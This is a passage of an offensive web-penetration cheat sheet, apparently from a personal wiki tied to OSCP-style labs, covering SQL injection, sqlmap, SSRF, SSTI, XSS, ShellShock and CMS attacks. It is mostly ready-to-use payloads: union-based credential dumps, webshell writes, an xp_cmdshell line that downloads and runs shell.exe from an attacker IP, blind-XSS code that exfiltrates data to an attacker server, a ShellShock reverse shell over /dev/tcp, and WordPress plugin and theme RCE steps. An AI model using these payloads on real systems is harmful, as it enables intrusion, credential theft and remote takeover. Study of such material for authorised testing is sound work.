# use information_schema, show all column_name from table wp_users&lt;br /&gt;
column_name FROM information_schema.columns WHERE table_name=&#039;wp_users&#039;&lt;br /&gt;
# Show all information in user_login column from table wp_users&lt;br /&gt;
user_login FROM wp_users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.&lt;br /&gt;
&#039;user1&#039; or 1=1&lt;br /&gt;
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement&lt;br /&gt;
&#039;user1&#039; or 1=1 LIMIT1;#&lt;br /&gt;
&lt;br /&gt;
&#039; or 1=1; -- -&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Basic SQL Injection ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection&lt;br /&gt;
https://blog.aghanim.net/?p=1203&lt;br /&gt;
# ENTRY POINT DETECTION&lt;br /&gt;
## Detection of an SQL injection entry point Simple characters&lt;br /&gt;
&#039;&lt;br /&gt;
%27&lt;br /&gt;
&amp;quot;&lt;br /&gt;
%22&lt;br /&gt;
#&lt;br /&gt;
%23&lt;br /&gt;
;&lt;br /&gt;
%3B&lt;br /&gt;
)&lt;br /&gt;
Wildcard (*)&lt;br /&gt;
&#039;  # required for XML content&lt;br /&gt;
## Multiple encoding&lt;br /&gt;
%%2727&lt;br /&gt;
%25%27&lt;br /&gt;
## Merging characters&lt;br /&gt;
`+HERP&lt;br /&gt;
&#039;||&#039;DERP&lt;br /&gt;
&#039;+&#039;herp&lt;br /&gt;
&#039; &#039;DERP&lt;br /&gt;
&#039;%20&#039;HERP&lt;br /&gt;
&#039;%2B&#039;HERP&lt;br /&gt;
## Logic Testing&lt;br /&gt;
page.asp?id=1 or 1=1 -- true&lt;br /&gt;
page.asp?id=1&#039; or 1=1 -- true&lt;br /&gt;
page.asp?id=1&amp;quot; or 1=1 -- true&lt;br /&gt;
page.asp?id=1 and 1=2 -- false&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Database ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use &#039;order by&#039; clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.&lt;br /&gt;
# If error out on 4, that means that there are 3 columns.&lt;br /&gt;
?id=1 order by 1&lt;br /&gt;
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW&lt;br /&gt;
http://localhost/debug.php?id=1 union all select 1, 2, 3&lt;br /&gt;
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
# MariaDB version&lt;br /&gt;
?id=1 union all select 1, 2, @@version&lt;br /&gt;
# Database user&lt;br /&gt;
?id=1 union all select 1, 2, user()&lt;br /&gt;
# Enumerate database tables and column structures through &#039;information_schema&#039;&lt;br /&gt;
?id=1 union all select 1, 2, table_name from information_schema.tables&lt;br /&gt;
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name=&#039;users&#039;&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== SQLmap ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic arguments for SQLmap&lt;br /&gt;
sqlmap --url=&amp;quot;&amp;quot; -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs&lt;br /&gt;
# Load a request file and use mobile user-agent&lt;br /&gt;
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1&lt;br /&gt;
# Custom injection in UserAgent/Header/Referer/Cookie&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com&amp;quot; --data &amp;quot;username=admin&amp;amp;password=pass&amp;quot;  --headers=&amp;quot;x-forwarded-for:127.0.0.1*&amp;quot;&lt;br /&gt;
## The injection is located at the &#039;*&#039;&lt;br /&gt;
# SHELL&lt;br /&gt;
## SQL Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --sql-shell&lt;br /&gt;
## Simple Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-shell&lt;br /&gt;
## Dropping a reverse-shell / meterpreter&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-pwn&lt;br /&gt;
## SSH Shell by dropping an SSH key&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot; -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/&lt;br /&gt;
# Crawl a website with SQLmap and auto-exploit&lt;br /&gt;
sqlmap -u &amp;quot;http://example.com/&amp;quot; --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3&lt;br /&gt;
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers&lt;br /&gt;
--crawl = how deep you want to crawl a site&lt;br /&gt;
--forms = Parse and test forms&lt;br /&gt;
# Using TOR with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5&lt;br /&gt;
# Using a proxy with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --proxy=&amp;quot;http://127.0.0.1:8080&amp;quot;&lt;br /&gt;
# Using Chrome cookie and a Proxy&lt;br /&gt;
sqlmap -u &amp;quot;https://test.com/index.php?id=99&amp;quot; --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy &amp;quot;http://127.0.0.1:8080&amp;quot;  -f  --time-sec 15 --level 3&lt;br /&gt;
# Using suffix to tamper the injection&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --suffix=&amp;quot;-- &amp;quot;&lt;br /&gt;
# General tamper option and tamper&#039;s list&lt;br /&gt;
tamper=name_of_the_tamper&lt;br /&gt;
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.&lt;br /&gt;
https://twitter.com/kuldeepdotexe/status/1687897180953034754&lt;br /&gt;
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter=&amp;quot;Generic UNION query (NULL)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Union based sqli ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enumerate column&lt;br /&gt;
# Add ,NULL until no more erros. Thats how many column there is.&lt;br /&gt;
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.&lt;br /&gt;
&#039; UNION SELECT NULL--&lt;br /&gt;
&#039; UNION SELECT NULL,NULL,NULL FROM DUAL--&lt;br /&gt;
&#039; UNION SELECT table_name,NULL,NULL FROM all_tables--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_ADMINS&#039;--&lt;br /&gt;
Blog entry from ADMIN_NAME with title null from 0&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
&#039; UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_USERS&#039;--&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
Blog entry from USER_ID with title null from 0&lt;br /&gt;
Blog entry from USER_NAME with title null from 0&lt;br /&gt;
&#039; UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from alice with title null from 0&lt;br /&gt;
Blog entry from eric with title null from 0&lt;br /&gt;
Blog entry from maria with title null from 0&lt;br /&gt;
&#039; UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from bobismyuncle with title null from 0&lt;br /&gt;
Blog entry from letmein with title null from 0&lt;br /&gt;
Blog entry from thisismypassword with title null from 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Usuful commands (Upload shells) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
# Test SQLI with sleep&lt;br /&gt;
# Double hyphen is used to out-comment rest of the query&lt;br /&gt;
&#039; UNION SELECT sleep(5); -- -&lt;br /&gt;
# Write a webshell&lt;br /&gt;
UNION SELECT &amp;quot;&amp;quot; into outfile &amp;quot;C:\\xampp\\htdocs\\backdoor.php&amp;quot;&lt;br /&gt;
UNION SELECT &#039;&#039; INTO OUTFILE &#039;/var/www/html/x.php&#039; FIELDS TERMINATED BY &#039;&#039;&lt;br /&gt;
&#039; UNION SELECT (&amp;quot; into OUTFILE &#039;c:/xampp/htdocs/backdoor.php&#039;&lt;br /&gt;
# Code execution&lt;br /&gt;
?id=1 union all select 1, 2, load_file(&#039;C:/Windows/win.ini&#039;)&lt;br /&gt;
# Mssql download shell, output it, and execute it&lt;br /&gt;
&#039;;EXEC xp_cmdshell &#039;certutil -urlcache -split -f &amp;quot;http://192.168.119.176/shell.exe&amp;quot; C:\windows\temp\shell.exe&amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
# XP_dirtree - Remember to start responder or impacket-smbserver&lt;br /&gt;
1&#039;; use master; exec xp_dirtree &#039;\\192.168.119.176\SHARE&#039;;--&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSRF ===&lt;br /&gt;
&lt;br /&gt;
==== Capture hash ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example from PG Heist&lt;br /&gt;
# On target website&lt;br /&gt;
http://heist.offsec:8080/?url=http://192.168.49.247:80&lt;br /&gt;
# On attacker&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]&lt;br /&gt;
└─# responder -I tun0&lt;br /&gt;
[+] Listening for events...&lt;br /&gt;
[HTTP] NTLMv2 Client   : ::ffff:192.168.247.165&lt;br /&gt;
[HTTP] NTLMv2 Username : HEIST\enox&lt;br /&gt;
[HTTP] NTLMv2 Hash     : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]&lt;br /&gt;
# Hash format&lt;br /&gt;
netntlmv2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSTI ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c echo RCE &amp;gt; C:/Windows/Tasks/test.txt&amp;quot;);&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c powershell -e ENCODEDCOMMAND&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XSS ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]&lt;br /&gt;
&lt;br /&gt;
==== Blind XSS ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING GET REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Send this to the vulnernable form parameter&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;).then(response =&amp;gt; response.text()).then(data =&amp;gt; fetch(&#039;http://10.9.17.250/receive?data=&#039; + encodeURIComponent(data)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Set up a listener, like python http server og netcat and wait for the connection.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -lvnp 80&lt;br /&gt;
listening on [any] 80 ...&lt;br /&gt;
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532&lt;br /&gt;
GET /receive?data=THM%7B83... HTTP/1.1&lt;br /&gt;
Host: 10.9.17.250&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36&lt;br /&gt;
accept: */*&lt;br /&gt;
origin: http://127.0.0.1:8080&lt;br /&gt;
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247&lt;br /&gt;
Referer: http://127.0.0.1:8080/&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING POST REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Host the Script&#039;&#039;&#039;: You need to have control over the server at  ​[http://10.9.17.250 http://10.9.17.250]​ . On this server, you&#039;ll place your JavaScript code in a file, typically with a  ​.js​  extension (even though you mentioned  ​test.txt​ , it&#039;s more common to use  ​.js​  for JavaScript files).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Write the JavaScript Code&#039;&#039;&#039;: The JavaScript code that fetches the content from  ​[http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt]​  and then sends it to your server needs to be written and saved in the file you&#039;re hosting (say  ​script.js​ ).&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example of what your JavaScript file ( ​script.js​ ) might contain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;)&lt;br /&gt;
    .then(response =&amp;gt; response.text())&lt;br /&gt;
    .then(data =&amp;gt; {&lt;br /&gt;
        fetch(&#039;http://10.9.17.250/receive&#039;, { // Change the endpoint as needed&lt;br /&gt;
            method: &#039;POST&#039;,&lt;br /&gt;
            headers: {&lt;br /&gt;
                &#039;Content-Type&#039;: &#039;application/x-www-form-urlencoded&#039;,&lt;br /&gt;
            },&lt;br /&gt;
            body: `data=${encodeURIComponent(data)}`&lt;br /&gt;
        });&lt;br /&gt;
    });&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can alos send this directly instead of hosting it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;/profile&#039;).then(response =&amp;gt; response.json()).then(data =&amp;gt; fetch(&#039;http://attacker-server.com&#039;, {method: &#039;POST&#039;, headers: {&#039;Content-Type&#039;: &#039;application/json&#039;}, body: JSON.stringify(data)}));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Inject the payload in the form&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Setup a receiver:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from flask import Flask, request&lt;br /&gt;
app = Flask(__name__)&lt;br /&gt;
@app.route(&#039;/receive&#039;, methods=[&#039;POST&#039;])&lt;br /&gt;
def receive_data():&lt;br /&gt;
    data = request.get_json()&lt;br /&gt;
    print(data)&lt;br /&gt;
    return &#039;Data received&#039;, 200&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    app.run(host=&#039;0.0.0.0&#039;, port=80)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bypass robots.txt &amp;quot;You are not a search engine. Permission denied.&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Set User-Agent to &amp;quot;User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellShock (CGI) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &amp;quot;user-agent: () { :; }; echo; echo; /bin/bash -c &#039;cat /etc/passwd&#039;&amp;quot; /cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &#039;User-Agent: () { :; }; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.17/4444 0&amp;gt;&amp;amp;1&#039; http://10.10.10.56/cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMS/Webservers ===&lt;br /&gt;
&lt;br /&gt;
==== Apache James ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.72 PWK&lt;br /&gt;
# Apache James Server 2.3.2&lt;br /&gt;
https://www.exploit-db.com/exploits/50347&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Drupal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
droopscan scan -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Username Enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Register&lt;br /&gt;
In /user/register try to create a username, and if the name is already taken it will be notified&lt;br /&gt;
Register new password&lt;br /&gt;
If you request a new password for an exisiting username.&lt;br /&gt;
If you request a new password for a non-existent username:&lt;br /&gt;
Number of users enumeration&lt;br /&gt;
Accessing /user/ you can see the number of exisinting users.&lt;br /&gt;
   - /user/4 -&amp;gt; Access denied (user exist)&lt;br /&gt;
   - /user/5 -&amp;gt; Page not found (user dosent exist)&lt;br /&gt;
There are 4 existing users.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hidden pages enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Fuzz /node/$ where $ is a number (from 1 to 500 for example).&lt;br /&gt;
You could find hidden pages (test, dev) which are not referenced by the search engine.&lt;br /&gt;
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== FuelCMS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47138&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gitstack portal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Go to gitstack portal&lt;br /&gt;
# Try default admin:admin&lt;br /&gt;
# Click on stack menu.&lt;br /&gt;
# Choose the command portal option.&lt;br /&gt;
# replace stack.php?cmd=hello&lt;br /&gt;
# with&lt;br /&gt;
# stack.php?cmd=hello;whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== IIS - Internet Information Services ====&lt;br /&gt;
&lt;br /&gt;
==== Jenkins ====&lt;br /&gt;
&lt;br /&gt;
===== Remote Code execution =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.5.5.25 PWK&lt;br /&gt;
Select New Item --&amp;gt; Freestyle project --&amp;gt; Choose build --&amp;gt; Windows batch command (Or Execute shell for Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Joomla ====&lt;br /&gt;
&lt;br /&gt;
==== Ovidentia ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
See writeup 10.11.1.73 PWK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tiki wiki ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/40053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHPLiteAdmin ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.116 PWK&lt;br /&gt;
# PHPLiteAdmin 1.9.3&lt;br /&gt;
# https://www.exploit-db.com/exploits/24044&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tomcat ====&lt;br /&gt;
&lt;br /&gt;
==== werkzeug ====&lt;br /&gt;
&lt;br /&gt;
==== WebDAV ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
davtest -url http://10.10.10.15&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Curl commands with webDAV =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Reading Files/Folders&lt;br /&gt;
curl &#039;http://example.com/webdav&#039;&lt;br /&gt;
# Creating new Folder&lt;br /&gt;
curl -X MKCOL &#039;http://example.com/webdav/new_folder&#039;&lt;br /&gt;
# Uploading File&lt;br /&gt;
curl -T &#039;/path/to/local/file.txt&#039; &#039;http://example.com/webdav/test/new_name.txt&#039;&lt;br /&gt;
curl --upload-file  http:///test/&lt;br /&gt;
curl -T &#039;cmdasp.aspx&#039; &#039;http://192.168.89.122/cmd.aspx&#039; --user fmcsorley:CrabSharkJellyfish192&lt;br /&gt;
# Renaming File&lt;br /&gt;
curl -X MOVE --header &#039;Destination:http://example.org/webdav/new.txt&#039; &#039;http://example.com/webdav/old.txt&#039;&lt;br /&gt;
# Deleting Files/Folders&lt;br /&gt;
# File:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test.txt&#039;&lt;br /&gt;
# Folder:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Wordpress ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wpscan --url&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Change user pass in Mysql =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example 1&lt;br /&gt;
use wp_genesis;&lt;br /&gt;
SELECT ID, user_login, user_pass FROM wp_users;&lt;br /&gt;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;&lt;br /&gt;
# Example 2&lt;br /&gt;
select * from wp_users;&lt;br /&gt;
UPDATE `wp_users` SET `user_pass`= MD5(&#039;bypassed&#039;) WHERE&lt;br /&gt;
`user_login`=&#039;admin&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Panel RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Edit the 404.php file in Wordpress dashobard. Appereance --&amp;gt; Editor --&amp;gt; 404 Template.&lt;br /&gt;
Add php-reverse-shell.php.&lt;br /&gt;
Visit http:///wp-content/themes/twentytwelve/404.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Plugin RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/x3rz/malicious-wordpress-plugin&lt;br /&gt;
# Edit php reverse shell and add IP and port&lt;br /&gt;
# Go to Plugin -&amp;gt; Add new -&amp;gt; Upload plugin&lt;br /&gt;
# Upload the zip file&lt;br /&gt;
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
==== PHP webshell, php code, php execution, php command ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WebApplication Firewall (WAF) ===&lt;br /&gt;
&lt;br /&gt;
=== fireprox -Rotate source IP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/ustayready/fireprox&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Waf Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c&lt;br /&gt;
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.&lt;br /&gt;
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 88 - KERBEROS ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 110 - POP3 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Login&lt;br /&gt;
telnet 192.168.196.137 110&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
+OK Dovecot (Ubuntu) ready.&lt;br /&gt;
USER sales&lt;br /&gt;
+OK&lt;br /&gt;
PASS sales&lt;br /&gt;
+OK Logged in.&lt;br /&gt;
# List emails&lt;br /&gt;
list&lt;br /&gt;
# Read mail&lt;br /&gt;
RETR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 113 - ident ==&lt;br /&gt;
&lt;br /&gt;
